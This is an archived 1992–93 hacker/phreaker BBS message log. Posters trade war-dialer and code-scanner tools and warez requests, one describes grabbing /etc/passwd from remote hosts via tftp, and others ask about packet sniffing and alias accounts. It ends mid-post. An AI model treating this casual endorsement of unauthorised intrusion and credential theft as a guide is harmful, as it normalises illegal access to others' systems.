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From iceman@yabbs Sun Nov 29 19:57:21 1992
From: iceman@yabbs
To: all@yabbs
Subject: Hahah
Date: Sun Nov 29 19:57:21 1992
Like I mentioned in a previous message, the people in our isolated area
(Manitoba,Canada) are easily impressed with hacking. My friend got caught
hacking a stupid BBS and made the FRONT PAGE of our newspaper. I sent the
article to CUD (I don't know why), I can also send it here if anyone
cares... It's really quite funny. This happened about a week ago, and he
had his computer and other equipment confiscated. I never thought
something like this would come out of hacking a BBS... but I guess they
got sick of it after he'd done it 4 times..
Later
ICEMAN
From blitz@yabbs Mon Nov 30 08:29:58 1992
From: blitz@yabbs
To: all@yabbs
Subject: Local Hacking Boards
Date: Mon Nov 30 08:29:58 1992
Do any of you know any local h/p/w boards? (In Pittsburgh)
If you do, would you send the #&nup to me. BTW- If any of you
Pittsburghers have been on the Bassalope BBS since its crash a few months
ago, I'd like to relogin.
Thanx!
Blitz
From slim@yabbs Sun Jan 17 14:55:48 1993
From: slim@yabbs
To: buddha@yabbs
Subject: re: tftp
Date: Sun Jan 17 14:55:48 1993
Because of it's limited restrictions, and the open access to the
etc/passwd file (unlike ftp where the dir etc not the real one), it is
easy and possible to snag the passwd file from the remote system.
From omc@yabbs Sun Jan 17 22:48:59 1993
From: omc@yabbs
To: hbeast@yabbs
Subject: re: tftp
Date: Sun Jan 17 22:48:59 1993
i snarfed one like that one time that said
Try to steal out etc/passwd file eh?
?
From iceman@yabbs Thu Feb 4 10:54:39 1993
From: iceman@yabbs
To: htoaster@yabbs
Subject: new scan
Date: Thu Feb 4 10:54:39 1993
Is it me, or is the newscan fucked? Just seems odd that i've been
re-reading the same messages for the past while.
ICEMAN
TDR
From pez@yabbs Thu Feb 4 11:51:07 1993
From: pez@yabbs
To: all@yabbs
Subject: re: scanners
Date: Thu Feb 4 11:51:07 1993
So, anyone know where to get the latest version of code thief,
or any other decent exchange scanner?
From lostsoul@yabbs Mon Feb 8 15:07:55 1993
From: lostsoul@yabbs
To: ti_dude@yabbs
Subject: re: INC ftp site ?
Date: Mon Feb 8 15:07:55 1993
I doubt it. Seeing as INC is dead.. heh. I heardthose rumors as well but
no one has posted any address's so I would say it's bullshit.
From invalid@yabbs Tue Feb 9 15:03:35 1993
From: invalid@yabbs
To: houdini@yabbs
Subject: re: H & P in 704
Date: Tue Feb 9 15:03:35 1993
toneloc constantly updated my ass.. Mucho and Minor have been in jail for
a while and Minor just got out before HoHocon... don't expect any updates
soon.
>> Invalid Media
>> ccdhb@acvax.inre.asu.edu
From johndeer@yabbs Sun Feb 21 23:57:30 1993
From: johndeer@yabbs
To: ziplock@yabbs
Subject: re: INC ftp site ?
Date: Sun Feb 21 23:57:30 1993
what are some of these warez ftp sites? i wanna get some new stuff like
wordperfect 5.2 and junk like that, but 2400 is a pain on the bbses...
john Deere
From invalid@yabbs Mon Feb 22 01:07:00 1993
From: invalid@yabbs
To: houdini@yabbs
Subject: re: Toneloc beta 10
Date: Mon Feb 22 01:07:00 1993
Yeah I'll eat my words.. I recently got intouch with Mucho and Minor and
they are back on my system again :) o they uploaded me the new version of
TL.. its really a good one too
>> Invalid Media
>> ccdhb@acvax.inre.asu.edu
From bagger@yabbs Thu Feb 25 14:34:21 1993
From: bagger@yabbs
To: blitz@yabbs
Subject: re: 2600, bookstores
Date: Thu Feb 25 14:34:21 1993
What is this "Ice Nine" you mentioned? Is it a bookstore in Pittsburgh?
Where is it located exactly, (what part of Pittsburgh) ?
-Thanx - bagger
From ldistort@yabbs Sun Feb 28 20:27:42 1993
From: ldistort@yabbs
To: all@yabbs
Subject: toneloc
Date: Sun Feb 28 20:27:42 1993
Can anyone FTP a newe version of toneloc (something above .97b) to any
anonymous ftp site?
Logical Distortion [416]
From vitroth@yabbs Mon Mar 1 15:57:14 1993
From: vitroth@yabbs
To: all@yabbs
Subject: Free internet accounts??
Date: Mon Mar 1 15:57:14 1993
RE the post a while back about free accounts on the net.. if you don't want to
go through gnu.ai.mit.edu or whatever try me... sanctuary.pc.cc.cmu.edu login
as guest and send me mail (vitroth) give me real name and desired user name (8
chars or less of course... I can't enforce real name but at least make it
reasonable... I'll try to get most accounts set up within 24 hours...
don't forget to give me an initial password too... at this point accounts
will be given out with no restrictions... IF I get too many requests I may
discontinue that. NOTE: I do not have a modem hooked up.. so no dial in/out
-Vit
?
From spectre@yabbs Thu Mar 11 11:51:36 1993
From: spectre@yabbs
To: buddha@yabbs
Subject: re: 2600 in pgh
Date: Thu Mar 11 11:51:36 1993
In message re: 2600 in pgh, buddha said:
> Someone asked about getting BBS softs from the net? I found a pretty good
> place, shit, can't remember. It was maybe oak.oakland.edu? Or something in
> oakland, anyhow. Look around, they had ALOT.
oak.oakland.edu is a simtel20 mirror - pretty much 'the' definitive
shareware/freeware/pd msdos site. there are others, but none with the
amount and variety. there's also wuarchive.wustl.edu - they mirror alot of
the sites (simtel, garbo, cica, ulowell & others).
?
From jasonlee@yabbs Fri Mar 12 11:02:33 1993
From: jasonlee@yabbs
To: johndeer@yabbs
Subject: re: 2600 in DC
Date: Fri Mar 12 11:02:33 1993
I wasn't really talking to him much, cuz I still don't know that many
people (and I'm sorta shy :). It was pretty fun, though. I was also
talking to ntstriker and monk, I guess.
I don't really need any numbers, because I can't really call LD to DC.
Thanks anyway...
JasonLee
From christj@yabbs Sat Apr 10 22:11:58 1993
From: christj@yabbs
To: ziplock@yabbs
Subject: re: 703 dialout
Date: Sat Apr 10 22:11:58 1993
In message re: 703 dialout, ziplock said:
> Or of course you could go get 386BSD and go buy some 4.3BSD manuals from
> your local computer store....?
Yepo... Or just d/l Linux. Heard that it isn't too aweful hard to instzll,
but that it does take up a hell of a lotr of resources.
?
From mintent@yabbs Sat Apr 10 22:55:36 1993
From: mintent@yabbs
To: all@yabbs
Subject: Propaganda
Date: Sat Apr 10 22:55:36 1993
Hey, everyone call Propaganda at (612) 379-1517
612's underground headquarters / NO NUP
- Malicious Intent
phred@tfsquad.mn.org
From hbeast@yabbs Sun Apr 11 03:36:25 1993
From: hbeast@yabbs
To: comrade@yabbs
Subject: re: 703 dialout
Date: Sun Apr 11 03:36:25 1993
In message re: 703 dialout, comrade said:
> I am looking for a bbs software that runs on a dos platform (i.e. has an
> .exe) file, but ooks like the unix os. I want this because I am not
> wasting my 486 on running unIx, but if I run unix as a bbs, the clueless
> fucks will stay away. Unix is very intimidating. unIx --> Fucked up
> caps from warez relapse. Anyways, please help me out. thanks
If anyone doesn't like Unix the internet police will get him ;).
Just so. try the Waffle DOS version (you don't have to pay to get it!).
It's not exactly Unix, but it's better than nothing. And you can also look
at MindVox and drool a little on what you can do with the Waffle source..
hbeasT
?
From deprogra@yabbs Sun Apr 11 03:47:13 1993
From: deprogra@yabbs
To: guinar@yabbs
Subject: re: 703 dialout
Date: Sun Apr 11 03:47:13 1993
That's what I do. Use prodigy or something else reliable like Sprintnet.
These numbers are never busy, work on many speeds, and ways of getting
them are too numerous to mention here.
It looks like we might have an 804 dialout ...
From pegasus@yabbs Sun Apr 11 07:42:44 1993
From: pegasus@yabbs
To: fatdog@yabbs
Subject: re: Text Based Hack BBS's in OZ
Date: Sun Apr 11 07:42:44 1993
I'm interested in all the information you ask for, especially the lateste
40-hex mag, other viral info and perhaps some warez sites. Please send me
any info directly to my e-mail address which is : runefr@ifi.uio.no I
believe that the message might be killed if you post it here.
-pegasus
From pegasus@yabbs Sun Apr 11 07:49:06 1993
From: pegasus@yabbs
To: all@yabbs
Subject: re: 703 dialout
Date: Sun Apr 11 07:49:06 1993
> Yepo... Or just d/l Linux. Heard that it isn't too aweful hard to
instzll,
> but that it does take up a hell of a lotr of resources.
Sure, it takes some resources, but you can get it working with a 386sx,
2MB ram, and 4MB disk space, the amount of utils is up to you. And after
all, you wan't need that blasted DOS thing anymore.
From pegasus@yabbs Sun Apr 11 07:56:46 1993
From: pegasus@yabbs
To: all@yabbs
Subject: PC-speaker music
Date: Sun Apr 11 07:56:46 1993
Hi, all.
I'm looking for information on how to play a sample , or preferably MOD
files and such through the PC-speaker. There are some library routines
around that does the job for you, but I would prefer to know the tecnique
involved. Seems like I have to reprogram the timer-chip of the PC, but
unfortunately I have no on-line info on this. Any hints or source-code
would be appreciated.
-pegasus
From htoaster@yabbs Sun Apr 11 10:20:49 1993
From: htoaster@yabbs
To: pegasus@yabbs
Subject: re: 703 dialout
Date: Sun Apr 11 10:20:49 1993
4mb of disk space won't get you must in linux or bsd. With both that
will give you a kernel and a few file system utils.
Linux is a little smaller (not as much as is advertised by everyone
though), but I would tend to reccomend 386bsd to newbies because there
are so many books on bsd (and 386bsd is pretty much straight bsd4.3 with
some posix thrown in). It also tends to be easier to keep up with, just
install a new patch kit when one comes out. You don't have to deal with
a new kernel every 5 days or whatever.
The best idea is to always install both, play around, and decide which
one you like best.
htoaster
?
From mintent@yabbs Sun Apr 11 23:12:16 1993
From: mintent@yabbs
To: all@yabbs
Subject: Wanted
Date: Sun Apr 11 23:12:16 1993
** NOTEBOOK WANTED **
Cheap 286/386 - Nothing fancy
would like it to have : battery power, 3.5" 1.44 drive, 1MB
RAM, at least a 20MB Hard Disk, Serial and parallel ports, but
these specs. aren't set in stone. Please leave mail to :
Malicious Intent
phred@tfsquad.mn.org
From hankster@yabbs Mon Apr 12 01:29:07 1993
From: hankster@yabbs
To: deprogra@yabbs
Subject: re: 703 dialout
Date: Mon Apr 12 01:29:07 1993
What do you mean.. "That's what I do."?..You mean calling up oh another
system and using their dialouts? Such as Telenet? I've had a few
dialouts on Telenet..one in Canada one in Germany, but do you mean calling
up on these networks and accessing internet - then using the internet
dialouts r what? NEways if you guys would like a BBS list for some of the
804 area let me know and I'll post some..
Later
Hankster
From comrade@yabbs Mon Apr 12 16:17:31 1993
From: comrade@yabbs
To: htoaster@yabbs
Subject: re: 703 dialout
Date: Mon Apr 12 16:17:31 1993
waffle blows to high hell. Yeh, I have a copy of coherent, and its
teledisked and for the likes of me, I cannot unteledisk it! Will check
it. thanks again
.
From wincroft@yabbs Tue Apr 13 22:44:07 1993
From: wincroft@yabbs
To: pegasus@yabbs
Subject: re: PC-speaker music
Date: Tue Apr 13 22:44:07 1993
If you are looking for a program to play MOD files through
the pc speaker the program you are looking for is Mod-edit
version 3.X . i belive the author may be able to direct
you to where he found his code to translate to the pc speaker.
From greywolf@yabbs Tue Apr 13 23:15:06 1993
From: greywolf@yabbs
To: all@yabbs
Subject: hack sites
Date: Tue Apr 13 23:15:06 1993
Being a new hacker (on internet anyways :) ) I was wondering if there were
any paricular places I should check out (other then well and phantom of
course)..And I heard mention of cracking groups having there own ftp sites
on telnet? Interesting..anyone got an address or two they could post, I'd
like to see how they're set up....oh yes, are there any systems that
happen to be offering free e-mail addresses (and preferably internet
access as well for ftp and telnet)..I have all that now, but it's under
my real name, and I'd like to have one for my 'alter-ego' so to speak.
Well, ta ta, and hack on mates!
Lemmon Curry ?
From pegasus@yabbs Wed Apr 14 05:20:41 1993
From: pegasus@yabbs
To: all@yabbs
Subject: Streamers
Date: Wed Apr 14 05:20:41 1993
Just found the source code for a program that plays the famous mushroom
through the speaker, but now another more important request.
I've got a Summit 250 MB tape streamer that I'd like to talk to, but I
can't find any info on how to do it. Formats such as the QIC-80 and
similar specs would also be of ultimate interest. If your answer is to
big, please respond directly to (runefr@ifi.uio.no)
From johndeer@yabbs Wed Apr 14 09:39:35 1993
From: johndeer@yabbs
To: htoaster@yabbs
Subject: bbs
Date: Wed Apr 14 09:39:35 1993
So is there a way I could compile, for instance, Yabbs to run in DOS? My
workstation here is Dos, but it does have a direct internet connection, so
I could conceivable run a telnet BBS of it.. but obviously most PC modem
BBS software doesn't deal with any ports...
john Deere
From htoaster@yabbs Wed Apr 14 10:30:26 1993
From: htoaster@yabbs
To: johndeer@yabbs
Subject: re: bbs
Date: Wed Apr 14 10:30:26 1993
In message bbs, johndeer said:
> So is there a way I could compile, for instance, Yabbs to run in DOS? My
> workstation here is Dos, but it does have a direct internet connection, so
> I could conceivable run a telnet BBS of it.. but obviously most PC modem
> BBS software doesn't deal with any ports...
Not really. Yabbs doesn't do any of the network stuff on its own (it
lets telnetd do that). What sort of cpu do you have? One suggestion
would be to put on a real small linux setup (like 15 megs), and run yabbs
on that, and when you want to do dos stuff just leave the bbs down.
htoaster
?
From cse@yabbs Wed Apr 14 13:51:35 1993
From: cse@yabbs
To: greywolf@yabbs
Subject: re: hack sites
Date: Wed Apr 14 13:51:35 1993
A good place to get an email account with your alias, is santafe.edu
its....
bbs.santafe.edu <- its free and they have usenet and telnet
, just apply and get in...
PS> please let me know if you find any hack sites.. I too am a new hacker
on I net and would really like some...
Thanks in advance...
Chainsaw Enema
cse@santafe.edu
From reaper@yabbs Wed Apr 14 16:02:59 1993
From: reaper@yabbs
To: all@yabbs
Subject: .au files to MOD files
Date: Wed Apr 14 16:02:59 1993
I'd like to know if there's a utility to convert .au files (sun audio
format) to .mod? I'd appreciate it. Thanks in advance . . .
>> The Reaper <<
dsembr01@starbase.spd.louisville.edu
?
From mephisto@yabbs Thu Apr 15 10:57:52 1993
From: mephisto@yabbs
To: reaper@yabbs
Subject: re: .au files to MOD files
Date: Thu Apr 15 10:57:52 1993
No, you can't convert .au files to .MOD, because they're completely
different types of files. You CAN convert .au to .VOC files though.
AU, VOC, SND, etc files are digitized sound. Physical samples., while MOD
files are sampled instruments played in different octaves, keys, etc.
For the AU2VOC converter, look in 129.49.21.110 under /pub/tmbg/samples
Mephistopheles
From johndeer@yabbs Thu Apr 15 15:06:55 1993
From: johndeer@yabbs
To: htoaster@yabbs
Subject: re: .au files to MOD files
Date: Thu Apr 15 15:06:55 1993
I run a 486/33.. but I dont' want to run unix on it, cause I'll be using
DOS and windows all day.. if there was a way I could get it to run it in
windows or something.. actually I'll see if I can get a server to do it..
then it'll be a 486dx50 w/ 32megs and lots HD space...
john Deere
From hiro@yabbs Fri Apr 16 00:53:22 1993
From: hiro@yabbs
To: mintent@yabbs
Subject: re: Propaganda
Date: Fri Apr 16 00:53:22 1993
Hahaha funny to see you here...
From greywolf@yabbs Fri Apr 16 00:57:24 1993
From: greywolf@yabbs
To: cse@yabbs
Subject: re: hack sites
Date: Fri Apr 16 00:57:24 1993
I certainly will keep you informed with anything I find out..hopefully
together we could beet the system and actually give ourselves some
recognition in the internet world...I'm a hacker in the 'real' world but I
am stillnew to internet...in any case, you should try to get on IRC and
join the hack confrence...if your not allready on, try the IRC gainable
from muselab-gw.runet.edu. They'll let you on after the sysop look you up
(just presses a key to validate you actually). if you've got another
gateway to IRC could you post it..thanks!
From hiro@yabbs Fri Apr 16 01:02:53 1993
From: hiro@yabbs
To: all@yabbs
Subject: Packet Snooping
Date: Fri Apr 16 01:02:53 1993
I am interested in packet-snooping on a Sparcstation network. What
software is required for this, and where might I FTP it from? I also
wonder how I would "piggyback" onto an ethernet with a laptop Mac.
Thanks.
Hiro612
From mintent@yabbs Fri Apr 16 01:47:10 1993
From: mintent@yabbs
To: hiro@yabbs
Subject: addresses
Date: Fri Apr 16 01:47:10 1993
Does anyoneknow of any places that one is able to get a free UNIX account?
I have tried the nyx.cs.du.edu place.. while being pretty generous, they
ask for all kinds of ID and shit.. he's also paranoid about hackers.
Where does one have to go these days?
From mintent@yabbs Fri Apr 16 01:59:32 1993
From: mintent@yabbs
To: cse@yabbs
Subject: bbs.santafe.edu
Date: Fri Apr 16 01:59:32 1993
what's up with the bbs.santafe.edu ?? They say that you have to be
affiliated with the institute or some bullshit like that.. what did you
tell them
?
From cse@yabbs Fri Apr 16 13:00:42 1993
From: cse@yabbs
To: greywolf@yabbs
Subject: re: hack sites
Date: Fri Apr 16 13:00:42 1993
Ok.. I'll try that site.. I hav had no luck with any other sites..
If i hear anything, I'll post...
Storm the reality studio..
Take back the universe....
cse
From cse@yabbs Fri Apr 16 13:02:06 1993
From: cse@yabbs
To: mintent@yabbs
Subject: re: addresses
Date: Fri Apr 16 13:02:06 1993
try my favorite watering hole... bbs.santafe.edu
no charge.. telnet.. mail account..usenet feed.. and much more..
cse
cse@santafe.edu
From cse@yabbs Fri Apr 16 13:03:25 1993
From: cse@yabbs
To: mintent@yabbs
Subject: re: bbs.santafe.edu
Date: Fri Apr 16 13:03:25 1993
please disregard the last message...
just one piece of advice... BULLSHIT>..
I am not affiliated with it, nor are most of the other people ther... I
will look in to it and let you know...
Chainsaw Enema (CSE)
From cse@yabbs Fri Apr 16 13:09:33 1993
From: cse@yabbs
To: mintent@yabbs
Subject: re: bbs.santafe.edu
Date: Fri Apr 16 13:09:33 1993
did you login as :bbs ? that takes you to a bbs menu.. fill out the
account part and then logoff, adn then back on (I believe )
sorry if I left that out
Chainsaw Enema
From beaker@yabbs Fri Apr 16 17:19:57 1993
From: beaker@yabbs
To: all@yabbs
Subject: ...
Date: Fri Apr 16 17:19:57 1993
what really sucks [i think] is that bradenville went down.. heh. for us ppl
that do not have irc acs it was a god. oh well, anyone know of other public
irc/unix sites? i have tried some that were posted prior in this base, but
some are just plain lame.. any one??
From jasonlee@yabbs Fri Apr 16 17:50:12 1993
From: jasonlee@yabbs
To: reaper@yabbs
Subject: re: .au files to MOD files
Date: Fri Apr 16 17:50:12 1993
Nope, there's no way, really. .MOD files are not sampled digital sound
(although they use such samples as instruments. The .MOD file is
basically just code that contains patterns and such. I think sound files
have to be similar in format to convert
them.
JasonLee
From houdini@yabbs Fri Apr 16 22:00:24 1993
From: houdini@yabbs
To: all@yabbs
Subject: Santafe
Date: Fri Apr 16 22:00:24 1993
Santafe should not be used as you are sugesting, it's main perpose is to
serve people interested in Complex systems. If it is abuse the
Administrator will take it down.
From vapor@yabbs Fri Apr 16 22:55:00 1993
From: vapor@yabbs
To: uufnord@yabbs
Subject: re: scanning the net
Date: Fri Apr 16 22:55:00 1993
Now how would you go about scanning the net? I dont have a scripting
Comm proggy (yet.. :( )
From mintent@yabbs Sat Apr 17 03:22:09 1993
From: mintent@yabbs
To: cse@yabbs
Subject: re: bbs.santafe.edu
Date: Sat Apr 17 03:22:09 1993
yeah, i figured that one out.. i filled out the forms, etc.. but i still
cannot logon.. i call back and the shit won't work from the main prompt.
oh well, i will try it again today.
From ducky@yabbs Sat Apr 17 14:12:18 1993
From: ducky@yabbs
To: all@yabbs
Subject: free access et al.
Date: Sat Apr 17 14:12:18 1993
just to enlighten some people a little perhaps about why free access via
bbses and such to irc & other fun stuff it becoming harder and harder to
get. . .
basically, it's because stupid people are hacking these systems! this is
true for nyx & for several other sites!
as more and more members of the public (and thus the bbs hacking
community) are getting access to the internet, they are fucking things up
for the rest of us. . .
the internet is a whole different world from bbses. . .it may be cool on
bbses to try to hack stupid systems, because if the sysop figures out that
people are hacking his system, he'll just fix it. . .no big loss since the
system was prolly not worth using at all anyway. . .
but hacking sites which give out free accounts on the internet? come on
folks, it doesn't take half a brain to realize that THIS IS A USEFUL
SERVICE! hacking these systems, or using them to hack other places is
just gonna result in tighter access. . .
KD
From weezal@yabbs Sun Apr 18 00:34:23 1993
From: weezal@yabbs
To: reaper@yabbs
Subject: re: .au files to MOD files
Date: Sun Apr 18 00:34:23 1993
No, there is not.
From jasonlee@yabbs Sun Apr 18 12:18:16 1993
From: jasonlee@yabbs
To: all@yabbs
Subject: hacking?
Date: Sun Apr 18 12:18:16 1993
Hmmm...I've been thinking about this, and there's really no way I would
consider myself a hacker. I'd rather be more of an internaut, exploring
all the neat little nooks and crannies of this strange place. If I have
to break into a couple systems to continue exploring, then so be it. I
just want to snoop around and discover what is to be found.
Does anyone have any idea how long it would take to scan every i-net
address? Assume that you have 100Mbps bandwidth, and there's
xxx.xxx.xxx.xxx adresses. That's about 1 trillion addresses...we really
know that there probably aren't any 999.xxx.xxx.xxx places, but it is
possible that someone (maybe someone big) could have hidden their site out
in that wasteland (like the telcos do with 555-99xx). Anyone want to scan
that area?
JasonLee
From skippy@yabbs Sun Apr 18 15:43:15 1993
From: skippy@yabbs
To: jasonlee@yabbs
Subject: re: hacking?
Date: Sun Apr 18 15:43:15 1993
In message hacking?, jasonlee said:
> Does anyone have any idea how long it would take to scan every i-net
> address? Assume that you have 100Mbps bandwidth, and there's
> xxx.xxx.xxx.xxx adresses. That's about 1 trillion addresses...we really
> know that there probably aren't any 999.xxx.xxx.xxx places, but it is
> possible that someone (maybe someone big) could have hidden their site out
> in that wasteland (like the telcos do with 555-99xx). Anyone want to scan
well, there isnt xxx.xxx.xxx.xxx address out there... the current IP
addressing scheme is only 32 bits.. 256.256.256.256 so if you notice, you
wont find an address 276.234.500.4 wont happen....
and i agree with you on the internaut bit.... i just wanna go and look
around at everything on the internet.... i'm not much for breaking into
sites so i guess i'm nowhere near hacker status... speaking of hackers,
have any of you taken the Hackers Test... its not really about hacking as
we know it, just about obscure knowledge of computerdom... if anyone wants
it, leave me yer e-mail address, i'll mail it too ya...
--skip
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From mohawk@yabbs Sun Apr 18 17:33:26 1993
From: mohawk@yabbs
To: skippy@yabbs
Subject: re: hacking?
Date: Sun Apr 18 17:33:26 1993
Skippy, I'd be interested in looking at the hacker's test, please email me
a copy at mohawk@santafe.edu thanx.
mohawk
From arken@yabbs Sun Apr 18 21:57:50 1993
From: arken@yabbs
To: all@yabbs
Subject: Blah
Date: Sun Apr 18 21:57:50 1993
Has anyone out there seen or heard of a program called Mr. Kraker?
From pyro@yabbs Mon Apr 19 01:00:27 1993
From: pyro@yabbs
To: all@yabbs
Subject: HP Network...
Date: Mon Apr 19 01:00:27 1993
I am interested in starting/joining a national net for HP orientated
boards and similar discussions (legalities, ethics, netowkring, etc...).
If anyone has any interest in starting one, or any info on existing ones
please send me mail eithere here or:
pyro@mindvox.phantom.com
-Pyro/Propaganda
From johndeer@yabbs Mon Apr 19 12:02:15 1993
From: johndeer@yabbs
To: hiro@yabbs
Subject: re: HP Network...
Date: Mon Apr 19 12:02:15 1993
as for ethernet on a mac laptop (i'll assume you're talking about a
powerbook then). You can get a twisted-pair ethernet card for the MAc,
and you can also get a 10base2 ethernet card for the mac. It's not that
hard, the only problem you'll have is a lack of internal expansion slots
on powerbooks. I assume it is also available externally, but i'm really
not sure. I guess you could plug it into the modem port. If you've gort
got a bunch of macs, get a Farallon card for Pc-Localtalk, and make your
pc-server also a node on an appletalk network. If you have multiple
appletalk nodes, this is best, because an appletalk network is much
cheaper than an ethernet network (appletalk uses standard, radio-shack
grade modular phone wire). speed will suffer, but it's all a cost-use
analysis.
john Deere
From cse@yabbs Mon Apr 19 14:24:56 1993
From: cse@yabbs
To: skippy@yabbs
Subject: re: hacking?
Date: Mon Apr 19 14:24:56 1993
I'll bit.. I am curious about the hacking test.. Im an old school non
destructive type.. and a history buff...
email it to blankenm@seq.oit.osshe.edu
thanx, cse
From cse@yabbs Mon Apr 19 14:26:35 1993
From: cse@yabbs
To: pyro@yabbs
Subject: re: HP Network...
Date: Mon Apr 19 14:26:35 1993
say pyro.. I would be interested too...please poost it here or mail more
info to
cse@santafe.edu
thannx, cse
From beaker@yabbs Mon Apr 19 16:12:34 1993
From: beaker@yabbs
To: all@yabbs
Subject: ...
Date: Mon Apr 19 16:12:34 1993
hey pyro, or UO. :) anyway, it would seem that a lot of ppl from
propaganda have made it onto here. like myself, malicious intent, and i
think that hiro[shima] is around here somewhere too. heh.
?
From christj@yabbs Mon Apr 19 18:17:27 1993
From: christj@yabbs
To: skippy@yabbs
Subject: hack test
Date: Mon Apr 19 18:17:27 1993
heyo... mail me the hack test
cjhescho@sacam.oren.ortn.edu
Thanks...
?
From binkley@yabbs Mon Apr 19 19:19:16 1993
From: binkley@yabbs
To: pez@yabbs
Subject: re: scanners
Date: Mon Apr 19 19:19:16 1993
I've got CodeThief 5.1 You can get it from 2o7-562-9226
From lordcybr@yabbs Mon Apr 19 20:21:34 1993
From: lordcybr@yabbs
To: pez@yabbs
Subject: re: scanners
Date: Mon Apr 19 20:21:34 1993
Code thif can be obtained at a BBs call Rune Stone the # is 203)
832-8441 it may take a couple of days to get access but it has a great
selection.
Artimage.-
From greywolf@yabbs Mon Apr 19 20:21:50 1993
From: greywolf@yabbs
To: pyro@yabbs
Subject: re: HP Network...
Date: Mon Apr 19 20:21:50 1993
I'm always interetested in aiding hacking and phreaking. How can I be of
service?
From lordcybr@yabbs Mon Apr 19 20:23:25 1993
From: lordcybr@yabbs
To: ti_dude@yabbs
Subject: re: INC ftp site ?
Date: Mon Apr 19 20:23:25 1993
One question, what does INC stand for, and could you give me the FTP
site #? Thanks,
Artimage.-
From lordcybr@yabbs Mon Apr 19 20:25:50 1993
From: lordcybr@yabbs
To: all@yabbs
Subject: re: AlchemyNet
Date: Mon Apr 19 20:25:50 1993
I would love to get on your net, but my bbs is not up yet, maybe in a
week. If ya could give me some info I would be very grateful. Thanks,
Artimage.-
From htoaster@yabbs Mon Apr 19 21:24:06 1993
From: htoaster@yabbs
To: all@yabbs
Subject: hackers test
Date: Mon Apr 19 21:24:06 1993
If you ftp the hacker test to my machine in the /incoming directory I
will put it only in the gfiles area online and make it available for ftp
(as everything in the gfiles area is). This goes for anything that you
find of interest (as long as I have the disk space). Hopefully next
semester I will have another 200 megs online, and about 50 of that will
probably be dedicated to the ftp site (I am planning on mirroring more of
ftp.eff.org, and hopefully I'll get a bit of that indexed under the
gfiles server).
htoaster
?
From skippy@yabbs Mon Apr 19 21:40:58 1993
From: skippy@yabbs
To: all@yabbs
Subject: re: hackers test
Date: Mon Apr 19 21:40:58 1993
ok..... i uploaded the hackers test to phred....
look for it soon....
--skip
?
From tau@yabbs Mon Apr 19 23:55:33 1993
From: tau@yabbs
To: skippy@yabbs
Subject: re: hacking?
Date: Mon Apr 19 23:55:33 1993
Hi
Any test doc's sound interesting, so if you would Email me
i'll be glad...
tau@daimi.aau.dk
\tau *smile*
From fatdog@yabbs Tue Apr 20 00:11:15 1993
From: fatdog@yabbs
To: binkley@yabbs
Subject: re: scanners
Date: Tue Apr 20 00:11:15 1993
Binks,
Any chance of grabbin codethief 5.1???
I've got 2.1 but it's too old.
CaN ACCEPT UUENCODED email.
FatDog.
s932544@minyos.xx.rmit.oz.au
From skippy@yabbs Tue Apr 20 03:48:26 1993
From: skippy@yabbs
To: all@yabbs
Subject: hacker test
Date: Tue Apr 20 03:48:26 1993
o.k.. now that i have sent the test to phred, i am not gonna send it out
anymore unless you have no ftp access..... please send me mail here...
thanx...
--skip
?
From pyro@yabbs Tue Apr 20 06:20:17 1993
From: pyro@yabbs
To: greywolf@yabbs
Subject: re: HP Network...
Date: Tue Apr 20 06:20:17 1993
I am thinking of either trying to start a new one, or get hooked up with
an existing one. If you have any info on existing onesI would be very
grateful.
As for starting one, I am all for that as well. Do you run a BBS? If so
send me some mail and we will get some details worked out. I have a few
ideas, but I am by no means going to be the 'ruler' of such a thing,
everyone who wants to help out has a say in my book.
You can reach me here or send mail to:
pyro@mindvox.phantom.com
-Pyro
From htoaster@yabbs Tue Apr 20 10:05:57 1993
From: htoaster@yabbs
To: skippy@yabbs
Subject: re: hackers test
Date: Tue Apr 20 10:05:57 1993
In message re: hackers test, skippy said:
> ok..... i uploaded the hackers test to phred....
>
> look for it soon....
Its up. You can get to it in the gfiles area under the misc text area,
or from ftp in /pub/text/hackertest.Z.
htoaster
?
From swerve@yabbs Tue Apr 20 13:26:00 1993
From: swerve@yabbs
To: all@yabbs
Subject: fsp sites
Date: Tue Apr 20 13:26:00 1993
hey, me here lookin' to trade some fsp sites with some people.
mondays@bsu-cs.bsu.edu
From liqjesus@yabbs Tue Apr 20 15:13:04 1993
From: liqjesus@yabbs
To: lordcybr@yabbs
Subject: re: scanners
Date: Tue Apr 20 15:13:04 1993
Just curious..are you calling from CT (that's where the Rune Stone is
located)? I'm interested in hunting down more h/p/a boards in the state.
I used to be on Piper's Pit but I lost track of the new phone number.
Any info would be appreciated.
-Liquid Jesus-
From lordcybr@yabbs Tue Apr 20 16:00:14 1993
From: lordcybr@yabbs
To: liqjesus@yabbs
Subject: Ct bbs's
Date: Tue Apr 20 16:00:14 1993
> Just curious..are you calling from CT (that's where the Rune Stone is
No, I am not. It is an ld call to me, but if you log onto that I'm sure
that there is a list of boards in the local area. If you do decide to log
onto Rune Stone I will leave ya a message, I use my New handle on that
board.
Lord Cyber.-
?
From greywolf@yabbs Tue Apr 20 20:22:22 1993
From: greywolf@yabbs
To: pyro@yabbs
Subject: re: HP Network...
Date: Tue Apr 20 20:22:22 1993
Unfortunately I don't run a bbs (definately not one hooked up to
internet)..but I have sufficeint time and interest to help in furthering
the corruption of the usefullnes of internet :).
From greywolf@yabbs Tue Apr 20 20:24:00 1993
From: greywolf@yabbs
To: all@yabbs
Subject: fsp
Date: Tue Apr 20 20:24:00 1993
Where can I get a copy of this? and some docs on how to abuse..ahh..use
it..thanks
GREY WOLF
p.s., if possible could it just be upped here?
From htoaster@yabbs Tue Apr 20 22:53:27 1993
From: htoaster@yabbs
To: greywolf@yabbs
Subject: re: fsp
Date: Tue Apr 20 22:53:27 1993
In message fsp, greywolf said:
> Where can I get a copy of this? and some docs on how to abuse..ahh..use
> it..thanks
>
> GREY WOLF
> p.s., if possible could it just be upped here?
At this point I would rather not have binaries online, mostly due to my
lack of disk space. Hopefully this will change next year...
htoaster
?
From mohawk@yabbs Wed Apr 21 01:40:01 1993
From: mohawk@yabbs
To: skippy@yabbs
Subject: re: hacking?
Date: Wed Apr 21 01:40:01 1993
skippy, thanks for sending me the hackers test, I found a test more
oriented toward the h/p area called the cracker.test, I just ftp'd it here
so it should be available here in a few days for you all to enjoy.
mohawk
mohawk@santafe.edu
From nmn@yabbs Wed Apr 21 01:51:50 1993
From: nmn@yabbs
To: all@yabbs
Subject: WTF
Date: Wed Apr 21 01:51:50 1993
What the fuck?! A hacker test?! What demented idiotic person came up
with such a thing?! This isnt a WaR3z community, or I would at least hope
